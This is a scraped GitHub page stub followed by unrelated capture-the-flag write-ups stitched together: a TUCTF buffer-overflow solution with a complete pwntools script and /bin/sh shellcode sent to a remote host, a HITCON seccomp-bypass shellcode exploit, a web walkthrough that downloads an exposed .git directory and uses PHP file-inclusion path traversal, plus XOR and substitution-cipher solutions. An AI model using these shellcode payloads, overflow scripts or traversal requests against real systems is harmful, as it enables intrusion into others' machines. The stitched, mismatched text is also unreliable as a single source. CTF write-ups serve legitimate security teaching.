octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav> </div> <turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " > <div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div > <div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":106162393,"originating_url":"https://github.com/s-nirali/picoctf-2017/tree/master/little-school-bus","user_id":null}}" data-hydro-click-hmac="60f82300ff052b989d5a3f8b90b61d2126d34b2088071015a3cf5a301aa89741"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary> <div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header> <input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div> <div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div> <div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/s-nirali/picoctf-2017/refs" cache-key="v0:1507452787.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="cy1uaXJhbGkvcGljb2N0Zi0yMDE3" prefetch-on-mouseover > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <footer class="SelectMenu-footer">View all branches</footer> </ref-selector> </div> <div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/s-nirali/picoctf-2017/refs" cache-key="v0:1507452787.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="cy1uaXJhbGkvcGljb2N0Zi0yMDE3" > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div> </details> </div> <div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div> </div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div> <div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>picoctf-2017</span></span></span><span>/</span>little-school-bus<span>/</span> </div> </div> <div class="d-flex"> Go to file </div> </div> <div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>picoctf-2017</span></span></span><span>/</span>little-school-bus<span>/</span></div> <div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/s-nirali/picoctf-2017/tree-commit/4e93d510045858b45c171880d1a2a00e6dc3266d/little-school-bus" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2> <include-fragment src="/s-nirali/picoctf-2017/file-list/master/little-school-bus"> Permalink <div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information. </div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>sol.py</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> </div> </div> </include-fragment> </div> </div> </div> </div> </turbo-frame> </main> </div> </div> <footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2> <div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div> <nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div> <div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer> <div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div> <div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template> <div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div> <template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template> </div> <div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
# Shella easy--- ## Description Difficulty: easy-ishWant to be a drive-thru attendant?Well, no one does... But! the best employee receives their very own flag! whatdya say? nc 52.15.182.55 12345 --- ## Test Run Let's first test out the binary. ```root@kali:~/Desktop/tuctf/shella-easy# ./shella-easy Yeah I'll have a 0xff8f0080 with a side of fries thanksasfas``` Again, like ehh, it has some hexadecimal values being printed out.Decompiling it, we see that we have a gets function which accepts memory location of s whose memory location is printed out. This certainly will help us overcome the ASLRsince it is intentionally leaking the address. ```cint __cdecl main(int argc, const char **argv, const char **envp){ char s; // [esp+0h] [ebp-48h] int v5; // [esp+40h] [ebp-8h] setvbuf(stdout, 0, 2, 0x14u); setvbuf(stdin, 0, 2, 0x14u); v5 = -889275714; printf("Yeah I'll have a %p with a side of fries thanks\n", &s); gets(&s); if ( v5 != -559038737 ) exit(0); return 0;}``` One more thing is the condition if `v5` not equals to -559038737 we will exit instead of a return. Since there are no other functions that we can jump to to read a flag, we can insert our shellcode maybe. But we first check if it is possible. ```root@kali:~/Desktop/tuctf/shella-easy# checksec shella-easy[*] '/root/Desktop/tuctf/shella-easy/shella-easy' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments``` Definitely possible. So now we want to jump to a shellcode to execute and we can take advantage of the return instruction. However the current value of v5 always causes the program to exit instead of returning and popping the return address. To return, we need to overwrite the v5 variable to -559038737 which in hex is 0xDEADBEEF. We now need to determine the number of buffers to overwrite before modifying v5 then number of buffers more to overwrite before controlling the EIP. We can see that `s` is `[ebp-48h]` and v5 is `[ebp-8h]`. This means we need to overwrite `0x48 - 0x8 = 64 bytes`. We can insert our shellcode here and prepended it with NOP as padding. Then we need to overwrite the next 4 bytes with `0xDEADBEEF` then overwrite the remaining 0x48-64-4=4 bytes. Then another 4 bytes for the saved EBP and then the EIP address to jump to our shellcode. The address to jump to is the buffer which is printed out for us nicely. We can write a script then gets the buffer address and craft the payload and then submit to spawn a shell. ## Python script```pythonfrom pwn import * #p = process("./shella-easy") p = remote("52.15.182.55", 12345)k = p.recvrepeat(1)print k#raw_input()k = k.split(" ")[4]print kbufferLocation = p32(int(k,16)) shellcode="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"payload = ""payload += "\x90"*(64-len(shellcode))payload += shellcodepayload += "\xef\xbe\xad\xde"payload += "C"*8payload += bufferLocation p.sendline(payload)p.interactive()``` and this gives the flag. ![solveshellaeasy](https://cexplrhome.files.wordpress.com/2018/11/solveshellaeasy.png) Flag: TUCTF{1_607_4_fl46_bu7_n0_fr135}------
# 32 world``` line CODE JT JF K================================= 0000: 0x20 0x00 0x00 0x0000000c A = instruction_pointer >> 32 0001: 0x15 0x00 0x01 0x00000000 if (A != 0x0) goto 0003 0002: 0x06 0x00 0x00 0x00000000 return KILL 0003: 0x06 0x00 0x00 0x7fff0000 return ALLOW```* Use `sysenter` to bypass the constraint.```python#!/usr/bin/env pythonfrom pwn import * # hitcon{s3cc0mp_1s_n0t_4lw4y_s4f3_LOL} host , port = '54.65.133.244' , 8361y = remote( host , port ) p = asm(''' push 0x68732f push 0x6e69622f mov ebx, esp mov al, 0xb mov ebp, esp sysenter''') y.sendafter( ':' , p )y.interactive()```
TUCTF 2018 — "Easter egg" challenges==================================== A series of three web challenges, themed around the book _Ready Player One_. The Copper Gate--------------- > How did I end up here? - Joker > http://18.191.227.167/ We see what looks like a "placeholder" page, with a video referencing the book embedded on the page. The text reads: > Please return at a later date for more content! Which I took to be a hint that I needed to somehow make a request "from the future" to get a different version of the page. In fact, it was much simpler: an image included on the page was stored in the `/images` directory. Navigating there, it turns out that directory listing is enabled, and there's a text file with instructions pointing us to "the development area": http://18.191.227.167/images/sitenotes.txthttp://18.191.227.167/devvvvv/home.html > Welcome to the development area> You may be asking yourself how you got here... Truth be told I have no idea either. You may want to figure that out.>> Moving on, though.>> I hope you have as much fun solving this as I did writing it.> A big thank you to Warren Robinett for beginning this fun tradition.> In the spirit of the classic video game easter egg, I have hidden a series of challenges throughout this site. In the spirit of my favorite book, Ready Player One.>> (...)> > Each step of the hunt will award points respective to the challenge. The final step and to the egg is the crystal flag. Thank you to everyone for your participation. And now for the introduction.>> **Introductions**>> Three hidden flags open three secret gates. > Wherein the challenger will be tested for worthy traits. > And those with the skill to solve what I create > Will reach The End, where the points await >> **The First Challenge** > > The Copper Flag awaits your attention > Somewhere in an old direction > But you have much to review > If you hope to accrue > The points protected by this section. "An old direction" seems to point to a directory that we've already explored before. "Protected" made me think of `.htaccess`, but I got a 403 when trying to read it. With "Preserve network logs" enabled in the Chrome dev console, I used the same trick as before and simply navigated up to `/devvvvv`, trying to see if we could get a directory listing. Instead, `devvvvv/index.html` contained a `meta` tag redirecting us to `devvvvv/home.html`... but also a link to flag! (Base64 encoded) ```http://18.191.227.167/youfoundthejadegate/gate.htmlVFVDVEZ7VzNsYzBtM19UMF9UaDNfMDQ1MTVfVGgzX0MwcHAzcl9LM3l9Cg==TUCTF{W3lc0m3_T0_Th3_04515_Th3_C0pp3r_K3y}``` --- The Jade Gate------------- Challenge description: > Gotta make sure I log my changes. - Joker > http://18.191.227.167/ On the page where we found the copper flag, there were extra instructions: > **The Jade Flag**>> The updates conceal the Jade Flag > in a backup long neglected > But you can only retrace your steps > once the logs are all collected Okay, so there are some evocative keywords there: - "backup": perhaps a zip with the source code / database dump is stored somewhere- "logs": server & access logs? PHP stores logs in a default location, so perhaps there's a directory traversal exploit that would allow us to get them. I tried for a little bit, but no luck.- "log my changes": wait, that sounds a lot like version control! http://18.191.227.167/.git/ Bingo! We get the directory listing for a typical git repository. Let's download it for convenience: ```wget -r http://18.191.227.167/.git/``` Looking at the changes from each commit, after reading through a few funny / trollish messages, we find the Jade flag: ```http://18.191.227.167/youfoundthejadegate/gate.htmlTUCTF{S0_Th1s_D035n7_533m_l1k3_175_f41r_8u7_wh0_3v3r_s41d_l1f3_15_f41r?}``` --- The Crystal Gate------------- > I don't wanna go anywhere. > http://18.191.227.167/ Continuing to analyze the Git repository's content, we see _staged_, but non-committed changes: ![Staged files in the git repo](jade-commits.png) ```';echo 'Note2: I can\'t seem to remember the param. It\'s "file"';echo ''; if (isset($_GET['file'])) { $file = $_GET['file']; if (strpos($file, '/etc/passwd') == true) { include($file); } elseif (strpos($file, '.ssh') == true) { include($file); echo ''; echo 'Probably shouldn\'t put my own key in my own authorized keys, but oh well.'; }}?>``` That certainly looks exploitable! For one, `strpos` only checks that the substring is _somewhere_ in `$file`. After trying different values of `$file`, I realized that the code seen in the repo wasn't exactly what's running on the server. The exploit is even easier, allowing inclusion of _any_ file: ```http://18.191.227.167/crystalsfordays/traversethebridge.php?file=..http://18.191.227.167/crystalsfordays/traversethebridge.php?file=../..http://18.191.227.167/crystalsfordays/traversethebridge.php?file=../../TheEgg.html``` And we got the flag! ```Note: Only used for access management and to check user info.Note2: I can't seem to remember the param. It's "file"<html> THE END Congratulations! You have discovered the crystal key and unlocked the egg. Thank you for your participation in this competition and I hope you enjoyed the trip, as well as learned a few things in the process. - Joker TUCTF{3_15_4_M4G1C_NUMB3R_7H3_crys74L_k3Y_15_y0ur5!}</html>``` THE END Congratulations! You have discovered the crystal key and unlocked the egg. Thank you for your participation in this competition and I hope you enjoyed the trip, as well as learned a few things in the process. - Joker TUCTF{3_15_4_M4G1C_NUMB3R_7H3_crys74L_k3Y_15_y0ur5!}
# XORient Yourself (Crypto 409 points) ![](XOR.png) ## Exploring the Source code```#!/usr/bin/env python2 def xor(msg, key): o = '' for i in range(len(msg)): o += chr(ord(msg[i]) ^ ord(key[i % len(key)])) return o with open('message', 'r') as f: msg = ''.join(f.readlines()).rstrip('\n') with open('key', 'r') as k: key = ''.join(k.readlines()).rstrip('\n') assert key.isalnum() and (len(key) == 9)assert 'TUCTF' in msg with open('encrypted', 'w') as fo: fo.write(xor(msg, key)) ``` We know that TUCTF{ is a part of the message. We can use that to get the full flag.```def xor(msg, key): o = '' for i in range(len(msg)): o += chr(ord(msg[i]) ^ ord(key[i % len(key)])) return o flagpart="TUCTF{"flagenc = open("encrypted","r").read()for i in range(len(flagenc)): if(xor(flagenc[i:i+len(flagpart)],flagpart).isalnum()): print i print xor(flagenc[i:i+len(flagpart)],flagpart)```Output is```0Duax5A2vy0nfA13bxftsJ14ypcawZ15quvegN42wvjbnL51hshblM67r6cicF71qhbrjL106bvni4T117XORISC <----------- String contains XOR, maybe a part of the key?129BP3IPh144SYCDEl151f``` Now we know a part of the key also, we can use this to brute force the remaining three characters of the key and get the flag```Key: XORISCOOLMessage: Hope you are enjoying TUCTF! This is a challenge designed to get you oriented with how XOR works.\n\nHere's your flag: TUCTF{XOR_1$_V3RY_U$3FUL_T0_CRYPT0}Flag: TUCTF{XOR_1$_V3RY_U$3FUL_T0_CRYPT0}```
This was a simple substitution cipher. A bit of common sense would show that the first 3 words were: 'THE FLAG IS'. From there you could simply break the cipher using pen and paper (which is what I did) by using a frequency analysis, common sense, and a tidbit of logic. Looking at H, and I we see that there is a logic for subsequent characters: the prints are turned counter-clockwise one at the time in order to yield all combinations (16). Moreover, A being a single paw, it wasn't a leap to assume that the first 4 letters of the alphabet were single paws, again turned counter-clockwise for A-C. Combining all these revealed the flag in a crisp 10 minutes with no use of a pc!IF_ONLY_JURASSIC_PARK_WAS_LIKE_THIS
